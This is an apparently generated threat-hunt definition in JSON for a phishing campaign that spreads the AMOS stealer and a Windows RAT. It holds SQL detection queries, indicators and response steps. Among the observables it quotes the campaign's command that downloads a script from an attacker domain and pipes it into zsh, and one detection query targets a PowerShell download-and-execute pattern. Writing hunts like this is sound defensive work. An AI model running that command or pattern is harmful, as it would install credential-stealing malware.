{ "hunt": { "meta": { "tlp": "clear", "hunt": { "handoff": "promote-to-detection", "trigger": "intel-report", "methodology": "model-assisted", "applicability": "campaign-specific", "justification": "Threat actors targeting security professionals with stealers like AMOS pose a critical risk to corporate credentials and session data. A negative result confirms that this specific campaign has not established a beachhead in the environment." }, "name": "Cross-Platform Malware Execution and Persistence", "type": "investigation", "labels": [ "hunt", "attack.t1204.002", "attack.t1059.004", "attack.t1059.001", "attack.t1543.001", "attack.t1547.001", "attack.t1005", "attack.t1074.001", "attack.t1539", "attack.t1555" ], "series": { "slug": "post-def-con-phishing-uses-malicious-google-doc-to-deliver-malware", "index": 1, "title": "Post-DEF CON Phishing Uses Malicious Google Doc to Deliver Malware", "total": 2 }, "related": [ { "hunt": "social-media-phishing-lures", "reason": "This hunt focuses on host-side malware execution and persistence, not the initial social media interaction.", "relation": "out-of-scope-alternative" } ], "targets": { "hunter": { "name": "Hunt agent", "agent": true }, "analyst": { "name": "Tier-2 analyst", "role": "analyst" }, "endpoint": { "name": "Endpoint telemetry (hb_ surfaces)", "category": "endpoint", "telemetry": [ "endpoint" ] } }, "analysis": "A single detection rule would miss the cross-platform nature of this campaign; this hunt pivots between network delivery leads and OS-specific persistence patterns (LaunchDaemons on macOS, BitsTransfer scripts on Windows) to confirm infection across two different operating systems.", "coverage": [ { "stage": "execution-user-driven-installers", "steps": [ "lead-dns-activity", "windows-loader-scripts" ], "status": "covered" }, { "stage": "malware-persistence-establishment", "steps": [ "macos-persistence-files" ], "status": "covered" }, { "stage": "credential-collection-and-staging", "steps": [ "macos-persistence-files" ], "reason": "Covered via searching for the AMOS staging directory /tmp/lksopo.", "status": "covered" }, { "stage": "initial-access-social-media-phishing", "reason": "Belongs to another part of the 'Post-DEF CON Phishing Uses Malicious Google Doc to Deliver Malware' series.", "status": "out_of_scope" }, { "stage": "command-and-control-network", "reason": "Belongs to another part of the 'Post-DEF CON Phishing Uses Malicious Google Doc to Deliver Malware' series.", "status": "out_of_scope" } ], "scenario": { "stages": [ { "name": "Social Media Spearphishing", "slug": "initial-access-social-media-phishing", "tactic": "initial-access", "techniques": [ "T1566.003" ], "observables": [ "@HartmansDoeke", "CoinDesk VP lure", "Google Doc link", "Dropbox DocSend share" ] }, { "name": "User-Driven Payload Execution", "slug": "execution-user-driven-installers", "tactic": "execution", "techniques": [ "T1204.002", "T1059.004", "T1059.001" ], "observables": [ "DecryptPanel.html", "curl -fsSL https://apple-googleapi.com/i | zsh", "GAPIUpdate.dmg", "GapiUpdate.application", "https://gapidriver.com/installer/GapiUpdate.application", "sys.ps1" ] }, { "name": "Persistence and Payload Staging", "slug": "malware-persistence-establishment", "tactic": "persistence", "techniques": [ "T1543.001", "T1547.001" ], "observables": [ "/Library/LaunchDaemons/com.xdivcmp.plist", "%LOCALAPPDATA%\\Microsoft\\Windows\\UpdateCache", "~/.phost", "~/.bhost", "~/.botid", "DockerDesktopSvc.exe", "SteamClientHelperHost.exe", "TeraCopyMonMon.exe" ] }, { "name": "Data Collection and Staging", "slug": "credential-collection-and-staging", "tactic": "collection", "techniques": [ "T1005", "T1074.001", "T1539", "T1555" ], "observables": [ "Notes.app database access", "/tmp/lksopo", "browser cookies", "keychain data", "crypto wallets" ] }, { "name": "C2 Infrastructure Communication", "slug": "command-and-control-network", "tactic": "command-and-control", "techniques": [ "T1071.001", "T1102" ], "observables": [ "86.54.25.213", "192.253.248.181", "apple-googleapi.com", "gapidriver.com", "1foqo.lat", "2fksf.lat", "3pqow.lat", "res10.php", "res11.php", "Telegram API" ] } ], "summary": "A phishing campaign targeting industry conference attendees uses X direct messages to lure victims into opening malicious Google Docs and DocSend shares. These documents deploy AMOS on macOS via curl-pipe-zsh or disk images, and NetSupport RAT or PowerShell loaders on Windows via ClickOnce installers, ultimately establishing persistence through LaunchDaemons and staged binaries for data theft and C2 communication." }, "severity": "high", "rationale": "Focus on employees who attended major security conferences (Black Hat, DEF CON) in the last month. The lookback should start from the first day of the conference through current day.", "guardrails": { "claims": "no_unsupported", "evidence": "citation_required", "telemetry": "untrusted", "missing_data": "not_benign" }, "hypothesis": "An intruder has compromised endpoints via a fake Google Doc lure, leading to user-driven execution of AMOS or NetSupport RAT loaders followed by persistence and credential staging.", "parameters": { "scope_hosts": { "type": "list[host]", "default": [], "description": "Optional list of hosts identified in the lead query to scope host-side evidence gathering." }, "lookback_days": { "type": "number", "default": "14", "description": "Days of history to examine." }, "campaign_domains": { "from": { "ref": "https://www.huntress.com/blog/defcon-phishing-google-doc-malware", "kind": "article", "observed": "2026-08-19" }, "type": "list[domain]", "default": [ "apple-googleapi.com", "gapidriver.com", "1foqo.lat", "2fksf.lat", "3pqow.lat", "gapidriver.com" ], "description": "Domains used in the phishing sidebar for payload delivery." } }, "provenance": { "authors": [ { "org": "huntbase.io", "name": "Huntbase hunt generation" } ], "generated": { "by": "huntbase-hunt-generation", "from": "https://www.huntress.com/blog/defcon-phishing-google-doc-malware", "gates": [ "dry-run", "lint" ], "model": "hb_google/gemini-3-flash-preview" } }, "references": [ { "url": "https://www.huntress.com/blog/defcon-phishing-google-doc-malware", "name": "Huntress \u2014 Post-DEF CON Phishing Uses Malicious Google Doc to Deliver Malware" } ], "blind_spots": [ { "id": "dns-visibility-gap", "risk": "The hunt only identifies the lead on hosts where DNS activity is collected. If a user clicks the lure on a mobile device and later moves to a corporate machine, the initial network lead might be missing.", "stage": "execution-user-driven-installers", "question": "whether the initial lure was clicked on unmanaged or mobile devices", "requires": "hb_dns_activity from all endpoints" }, { "id": "endpoint-visibility-gap", "risk": "The Windows loader pattern relies on PowerShell script block logging. If disabled, the Windows-side detection candidate will return nothing, leaving only the file artifacts or DNS as evidence.", "stage": "malware-persistence-establishment", "question": "whether the loader ran on hosts with script block logging disabled", "requires": "hb_script_activity and hb_file_activity" } ] }, "name": "Cross-Platform Malware Execution and Persistence", "description": "This hunt targets a multi-stage phishing campaign identified post-DEF CON 2026. The threat actor uses social media DMs to share a malicious Google Doc with a custom 'DecryptPanel.html' sidebar. This sidebar tricks users into running curl-to-zsh commands on macOS or PowerShell-based ClickOnce installers on Windows.\n\nThe hunt begins by identifying network leads to known delivery domains. If a host is identified, it gates to more expensive host-side queries that look for specific AMOS persistence files on macOS and the unique BitsTransfer PowerShell loader pattern on Windows. An agent then synthesizes the evidence to confirm if the host is compromised and should be isolated." }, "nodes": [ { "id": "hypothesis", "type": "hypothesis", "label": "Hypothesis", "config": { "tags": [], "series": { "slug": "post-def-con-phishing-uses-malicious-google-doc-to-deliver-malware", "index": 1, "title": "Post-DEF CON Phishing Uses Malicious Google Doc to Deliver Malware", "total": 2 }, "coverage": [ { "stage": "execution-user-driven-installers", "steps": [ "lead-dns-activity", "windows-loader-scripts" ], "status": "covered" }, { "stage": "malware-persistence-establishment", "steps": [ "macos-persistence-files" ], "status": "covered" }, { "stage": "credential-collection-and-staging", "steps": [ "macos-persistence-files" ], "reason": "Covered via searching for the AMOS staging directory /tmp/lksopo.", "status": "covered" }, { "stage": "initial-access-social-media-phishing", "reason": "Belongs to another part of the 'Post-DEF CON Phishing Uses Malicious Google Doc to Deliver Malware' series.", "status": "out_of_scope" }, { "stage": "command-and-control-network", "reason": "Belongs to another part of the 'Post-DEF CON Phishing Uses Malicious Google Doc to Deliver Malware' series.", "status": "out_of_scope" } ], "rationale": "An intruder has compromised endpoints via a fake Google Doc lure, leading to user-driven execution of AMOS or NetSupport RAT loaders followed by persistence and credential staging.", "blind_spots": [ { "id": "dns-visibility-gap", "risk": "The hunt only identifies the lead on hosts where DNS activity is collected. If a user clicks the lure on a mobile device and later moves to a corporate machine, the initial network lead might be missing.", "stage": "execution-user-driven-installers", "question": "whether the initial lure was clicked on unmanaged or mobile devices", "requires": "hb_dns_activity from all endpoints" }, { "id": "endpoint-visibility-gap", "risk": "The Windows loader pattern relies on PowerShell script block logging. If disabled, the Windows-side detection candidate will return nothing, leaving only the file artifacts or DNS as evidence.", "stage": "malware-persistence-establishment", "question": "whether the loader ran on hosts with script block logging disabled", "requires": "hb_script_activity and hb_file_activity" } ], "scoping_notes": "Focus on employees who attended major security conferences (Black Hat, DEF CON) in the last month. The lookback should start from the first day of the conference through current day.", "beyond_detection": "A single detection rule would miss the cross-platform nature of this campaign; this hunt pivots between network delivery leads and OS-specific persistence patterns (LaunchDaemons on macOS, BitsTransfer scripts on Windows) to confirm infection across two different operating systems." } }, { "id": "lead-dns-activity", "type": "query", "label": "DNS lookups to delivery domains", "config": { "dsl": "sqlite", "role": "scoping", "source": "endpoint", "content": "SELECT device_hostname, query_hostname, COUNT(*) as lookup_count, MIN(time) as first_seen, MAX(time) as last_seen FROM hb_dns_activity WHERE instr(',' || '{{campaign_domains}}' || ',', ',' || LOWER(query_hostname) || ',') > 0 AND time >= datetime('now', '-{{lookback_days}} days') GROUP BY device_hostname, query_hostname", "surface": "hb_dns_activity", "description": "Identify hosts that attempted to resolve the delivery or installer domains found in the malicious Google Doc sidebar.", "expected_signal": "Any resolution identifies a host that likely clicked the phishing lure. Silence is a strong indicator of no interaction with these specific C2 delivery points." }, "parents": [ { "id": "hypothesis" } ], "primitive_config": { "dsl": "sqlite", "role": "scoping", "label": "DNS lookups to delivery domains", "reads": [ "device_hostname", "query_hostname", "time" ], "source": "hb_dns_activity", "target": "endpoint", "content": "SELECT device_hostname, query_hostname, COUNT(*) as lookup_count, MIN(time) as first_seen, MAX(time) as last_seen FROM hb_dns_activity WHERE instr(',' || '{{campaign_domains}}' || ',', ',' || LOWER(query_hostname) || ',') > 0 AND time >= datetime('now', '-{{lookback_days}} days') GROUP BY device_hostname, query_hostname", "silence": "evidence_of_absence", "expected": "Any resolution identifies a host that likely clicked the phishing lure. Silence is a strong indicator of no interaction with these specific C2 delivery points.", "verified": "dry-run", "verified_at": "2026-09-20" } }, { "id": "gate-agent", "type": "analytic", "label": "Evaluate delivery leads", "config": { "cite": "required", "tools": [ "endpoint" ], "context": [ "lead-dns-activity" ], "objective": "Determine if any host in the DNS results warrants host-side investigation based on domain matches.", "description": "Read the DNS results to determine if any hosts interacted with the campaign's known infrastructure.", "max_iterations": 3, "expected_signal": "A list of hosts with confirmed campaign interaction.", "success_criteria": "Per-host verdict on whether to proceed to host-level evidence collection." }, "parents": [ { "id": "lead-dns-activity" } ] }, { "id": "gate-decision", "type": "checkpoint", "label": "Gate Decision", "config": { "fuzzy": true, "judge": "hunter", "question": "the gate-agent confirms that at least one host resolved a malicious campaign domain", "condition": "the gate-agent confirms that at least one host resolved a malicious campaign domain", "blind_spot": "dns-visibility-gap", "confidence": "high", "description": "Route the hunt to expensive host-based queries only when a valid network lead is found.", "checkpoint_type": "mandatory" }, "parents": [ { "id": "gate-agent" } ] }, { "id": "macos-persistence-files", "type": "query", "label": "macOS AMOS persistence and staging", "config": { "dsl": "sqlite", "role": "baseline", "source": "endpoint", "content": "SELECT device_hostname, file_path, COUNT(DISTINCT device_hostname) as hosts, MIN(time) as first_seen FROM hb_file_activity WHERE ('{{scope_hosts}}' = '' OR instr(',' || '{{scope_hosts}}' || ',', ',' || device_hostname || ',') > 0) AND (LOWER(file_path) LIKE '%/library/launchdaemons/com.xdivcmp.plist' OR LOWER(file_path) LIKE '%/tmp/lksopo%' OR LOWER(file_path) LIKE '%/.phost' OR LOWER(file_path) LIKE '%/.bhost') AND time >= datetime('now', '-{{lookback_days}} days') GROUP BY file_path HAVING hosts <= 3", "surface": "hb_file_activity", "description": "Find the specific LaunchDaemon and staging directories associated with AMOS stealer on macOS.", "expected_signal": "Rare file creations in /Library/LaunchDaemons or /tmp indicate persistence or data staging for the AMOS stealer." }, "parents": [ { "id": "gate-decision", "branch": "on_supports" } ], "primitive_config": { "dsl": "sqlite", "role": "baseline", "label": "macOS AMOS persistence and staging", "reads": [ "device_hostname", "file_path", "time" ], "source": "hb_file_activity", "target": "endpoint", "content": "SELECT device_hostname, file_path, COUNT(DISTINCT device_hostname) as hosts, MIN(time) as first_seen FROM hb_file_activity WHERE ('{{scope_hosts}}' = '' OR instr(',' || '{{scope_hosts}}' || ',', ',' || device_hostname || ',') > 0) AND (LOWER(file_path) LIKE '%/library/launchdaemons/com.xdivcmp.plist' OR LOWER(file_path) LIKE '%/tmp/lksopo%' OR LOWER(file_path) LIKE '%/.phost' OR LOWER(file_path) LIKE '%/.bhost') AND time >= datetime('now', '-{{lookback_days}} days') GROUP BY file_path HAVING hosts <= 3", "silence": "not_evidence_of_absence", "baseline": { "window": "{{lookback_days}}d", "compare": "first_seen" }, "expected": "Rare file creations in /Library/LaunchDaemons or /tmp indicate persistence or data staging for the AMOS stealer.", "verified": "dry-run", "prevalence": { "by": "device_hostname", "key": [ "file_path" ], "rare_below": 3 }, "verified_at": "2026-09-20" } }, { "id": "windows-loader-scripts", "type": "query", "label": "Windows PowerShell loader patterns", "config": { "dsl": "sqlite", "role": "detection-candidate", "source": "endpoint", "content": "SELECT device_hostname, script_content, time FROM hb_script_activity WHERE ('{{scope_hosts}}' = '' OR instr(',' || '{{scope_hosts}}' || ',', ',' || device_hostname || ',') > 0) AND script_type = 'PowerShell' AND (LOWER(script_content) LIKE '%bitstransfer%' AND LOWER(script_content) LIKE '%iex%') AND time >= datetime('now', '-{{lookback_days}} days')", "surface": "hb_script_activity", "description": "Detect the specific ClickFix loader pattern involving BitsTransfer and Invoke-Expression used to deliver Windows payloads.", "expected_signal": "Script blocks combining BITS downloads with immediate IEX execution are high-fidelity indicators of the loader script identified in the report." }, "parents": [ { "id": "gate-decision", "branch": "on_supports" } ], "primitive_config": { "dsl": "sqlite", "role": "detection-candidate", "label": "Windows PowerShell loader patterns", "reads": [ "device_hostname", "script_content", "script_type", "time" ], "source": "hb_script_activity", "target": "endpoint", "content": "SELECT device_hostname, script_content, time FROM hb_script_activity WHERE ('{{scope_hosts}}' = '' OR instr(',' || '{{scope_hosts}}' || ',', ',' || device_hostname || ',') > 0) AND script_type = 'PowerShell' AND (LOWER(script_content) LIKE '%bitstransfer%' AND LOWER(script_content) LIKE '%iex%') AND time >= datetime('now', '-{{lookback_days}} days')", "silence": "not_evidence_of_absence", "expected": "Script blocks combining BITS downloads with immediate IEX execution are high-fidelity indicators of the loader script identified in the report.", "verified": "dry-run", "verified_at": "2026-09-20" } }, { "id": "triage-agent", "type": "analytic", "label": "Synthesize delivery and host evidence", "config": { "cite": "required", "tools": [ "endpoint" ], "context": [ "gate-agent", "macos-persistence-files", "windows-loader-scripts" ], "objective": "Determine if the resolved campaign domains correlate with the execution of PowerShell loaders on Windows or the creation of AMOS persistence artifacts on macOS for any specific host.", "description": "Combine the network lead with host-side evidence to verify if a compromise took place.", "max_iterations": 6, "expected_signal": "A detailed verdict per host citing specific network and host rows.", "success_criteria": "A verdict of malicious | suspicious | benign per host citing specific rows from the query results." }, "parents": [ { "id": "macos-persistence-files", "kind": "merge" }, { "id": "windows-loader-scripts", "kind": "merge" } ] }, { "id": "route-decision", "type": "checkpoint", "label": "Route on verdict", "config": { "fuzzy": true, "judge": "hunter", "question": "the triage-agent verdict is malicious for at least one host, citing both a network lead and a host-side artifact", "condition": "the triage-agent verdict is malicious for at least one host, citing both a network lead and a host-side artifact", "blind_spot": "endpoint-visibility-gap", "confidence": "high", "description": "Route confirmed infections to isolation and ambiguous cases to analyst review.", "checkpoint_type": "mandatory" }, "parents": [ { "id": "triage-agent" } ] }, { "id": "isolate-host", "type": "action", "label": "Isolate host", "config": { "target": "endpoint", "description": "Immediately sever the host's network connectivity to stop credential exfiltration.", "instructions": "Isolate the endpoint. Collect the contents of /tmp/lksopo (macOS) or the Windows UpdateCache directory for further forensic analysis before proceeding with remediation.", "action_approval": "required" }, "parents": [ { "id": "route-decision", "branch": "on_supports" } ] }, { "id": "analyst-review", "type": "task", "label": "Analyst review", "config": { "assignee": "analyst", "description": "Review evidence for suspicious but not confirmed cases and validate tuning needs.", "instructions": "Review the DNS and host artifacts. If a browser stealer was executed, ensure all user credentials, especially cryptocurrency keys and session cookies, are rotated immediately." }, "parents": [ { "id": "gate-decision", "branch": "default" }, { "id": "gate-decision", "branch": "on_unavailable" }, { "id": "route-decision", "branch": "default" }, { "id": "route-decision", "branch": "on_unavailable" }, { "id": "route-decision", "branch": "on_refutes" }, { "id": "isolate-host" } ] }, { "id": "close-out", "type": "task", "label": "Close out", "config": { "assignee": "analyst", "description": "Document the absence of the threat across the scoped estate.", "instructions": "Record the hosts examined. If no DNS resolution or host-side artifacts were found, record this as evidence of absence for this specific campaign infrastructure." }, "parents": [ { "id": "gate-decision", "branch": "on_refutes" } ] } ] }